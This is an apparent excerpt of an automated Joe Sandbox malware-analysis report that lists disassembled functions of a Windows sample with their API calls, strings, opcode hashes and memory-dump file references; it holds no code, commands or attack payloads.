                                                                                                                                                                            0x0046eeec
                                                                                                                                                                            0x0046eef1
                                                                                                                                                                            0x0046eef4
                                                                                                                                                                            0x0046eef6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eef6
                                                                                                                                                                            0x0046eee7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eed3
                                                                                                                                                                            0x0046eecb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eecb
                                                                                                                                                                            0x0046eeb1
                                                                                                                                                                            0x00000000

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharLower
                                                                                                                                                                            • String ID: $8'I
                                                                                                                                                                            • API String ID: 2358735015-3608026889
                                                                                                                                                                            • Opcode ID: 8571e3aea8ca748621e5102bcb7b79a565444e38d021c54bb990985c4141ffca
                                                                                                                                                                            • Instruction ID: a7f8098a2e281a9e8ed4437609b5b9db9d0b1a05940209186128a042e7efa40d
                                                                                                                                                                            • Opcode Fuzzy Hash: 8571e3aea8ca748621e5102bcb7b79a565444e38d021c54bb990985c4141ffca
                                                                                                                                                                            • Instruction Fuzzy Hash: C3E1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID: 0vH
                                                                                                                                                                            • API String ID: 1143807570-3662162768
                                                                                                                                                                            • Opcode ID: a688a73cad17578a23fbbfce9c25d48954caeac689081990ceae14c66ae1b6a5
                                                                                                                                                                            • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                                            • Opcode Fuzzy Hash: a688a73cad17578a23fbbfce9c25d48954caeac689081990ceae14c66ae1b6a5
                                                                                                                                                                            • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047DFD1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll
                                                                                                                                                                            • String ID: 0vH$GUI_RUNDEFMSG
                                                                                                                                                                            • API String ID: 3832890014-3270723165
                                                                                                                                                                            • Opcode ID: 83b23e106830e18eaa98bf379fefa2d67655e791f4e67ce1872082e8e5d00014
                                                                                                                                                                            • Instruction ID: 2b8fe0178686c88c13fb7999b9cca2f5cdddd115f13bfdefe6967d3446d7b31b
                                                                                                                                                                            • Opcode Fuzzy Hash: 83b23e106830e18eaa98bf379fefa2d67655e791f4e67ce1872082e8e5d00014
                                                                                                                                                                            • Instruction Fuzzy Hash: 825191725183409BC700DF56C88189FBBE4FF89358F404A6EF94963251D734EA89CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: HH$HH
                                                                                                                                                                            • API String ID: 0-1787419579
                                                                                                                                                                            • Opcode ID: 6c14e95c8903661b443cf9a32b65d6a654c3968c3a7d0be0192389f6b01b4703
                                                                                                                                                                            • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                                            • Opcode Fuzzy Hash: 6c14e95c8903661b443cf9a32b65d6a654c3968c3a7d0be0192389f6b01b4703
                                                                                                                                                                            • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend
                                                                                                                                                                            • String ID: Combobox
                                                                                                                                                                            • API String ID: 3850602802-2096851135
                                                                                                                                                                            • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                            • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                                            • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                            • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                                            • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LengthMessageSendTextWindow
                                                                                                                                                                            • String ID: edit
                                                                                                                                                                            • API String ID: 2978978980-2167791130
                                                                                                                                                                            • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                            • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                                            • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                            • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                                            • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: GlobalMemorySleepStatus
                                                                                                                                                                            • String ID: @
                                                                                                                                                                            • API String ID: 2783356886-2766056989
                                                                                                                                                                            • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                            • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                                            • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                            • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 455545452-1403004172
                                                                                                                                                                            • Opcode ID: 2a5f42d5cc913dcbf403e63d26cd6d285d0c654fd31940a47a01bab376d2f8ef
                                                                                                                                                                            • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                                            • Opcode Fuzzy Hash: 2a5f42d5cc913dcbf403e63d26cd6d285d0c654fd31940a47a01bab376d2f8ef
                                                                                                                                                                            • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00454125 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,004602FB,?,?,?,0046065F), ref: 00454144
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0045417E
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWide
                                                                                                                                                                            • String ID: @hhv
                                                                                                                                                                            • API String ID: 626452242-3906349087
                                                                                                                                                                            • Opcode ID: 027baba8b13261615c7090fd42baa1aed81c9b0275c9a7fb1ff2ea95825afddb
                                                                                                                                                                            • Instruction ID: c627830195a642dd094ff9f43ed47883834e8194a8104e88bfdeeab3acd19586
                                                                                                                                                                            • Opcode Fuzzy Hash: 027baba8b13261615c7090fd42baa1aed81c9b0275c9a7fb1ff2ea95825afddb
                                                                                                                                                                            • Instruction Fuzzy Hash: 9201D6723413047BF220BA669C4AF6B7B5CEBD1B25F20442AFB049E2C1C6A1A8448379
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InternetOpen
                                                                                                                                                                            • String ID: <local>
                                                                                                                                                                            • API String ID: 2038078732-4266983199
                                                                                                                                                                            • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                            • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                                            • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                            • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045EFE7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?), ref: 0045F03A
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWide
                                                                                                                                                                            • String ID: @hhv
                                                                                                                                                                            • API String ID: 626452242-3906349087
                                                                                                                                                                            • Opcode ID: 4c94b6798e1a16cb77ad764aaa8269f17055f66764b3b2d89fb0cd7a0d9cd4aa
                                                                                                                                                                            • Instruction ID: 41d0a08ca8b385b72759528d3bda509964faf3afa0d77f9f355a5c4142f89000
                                                                                                                                                                            • Opcode Fuzzy Hash: 4c94b6798e1a16cb77ad764aaa8269f17055f66764b3b2d89fb0cd7a0d9cd4aa
                                                                                                                                                                            • Instruction Fuzzy Hash: 3501F9723403047BF220BB569C4AF6B775CEB91B26F20402AFF049B2C2C6A1B8048379
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 455545452-1403004172
                                                                                                                                                                            • Opcode ID: 389634397486f263f9664091ac854bf3d5cc0d0d4bfabdb75198ab1caf064492
                                                                                                                                                                            • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                                            • Opcode Fuzzy Hash: 389634397486f263f9664091ac854bf3d5cc0d0d4bfabdb75198ab1caf064492
                                                                                                                                                                            • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
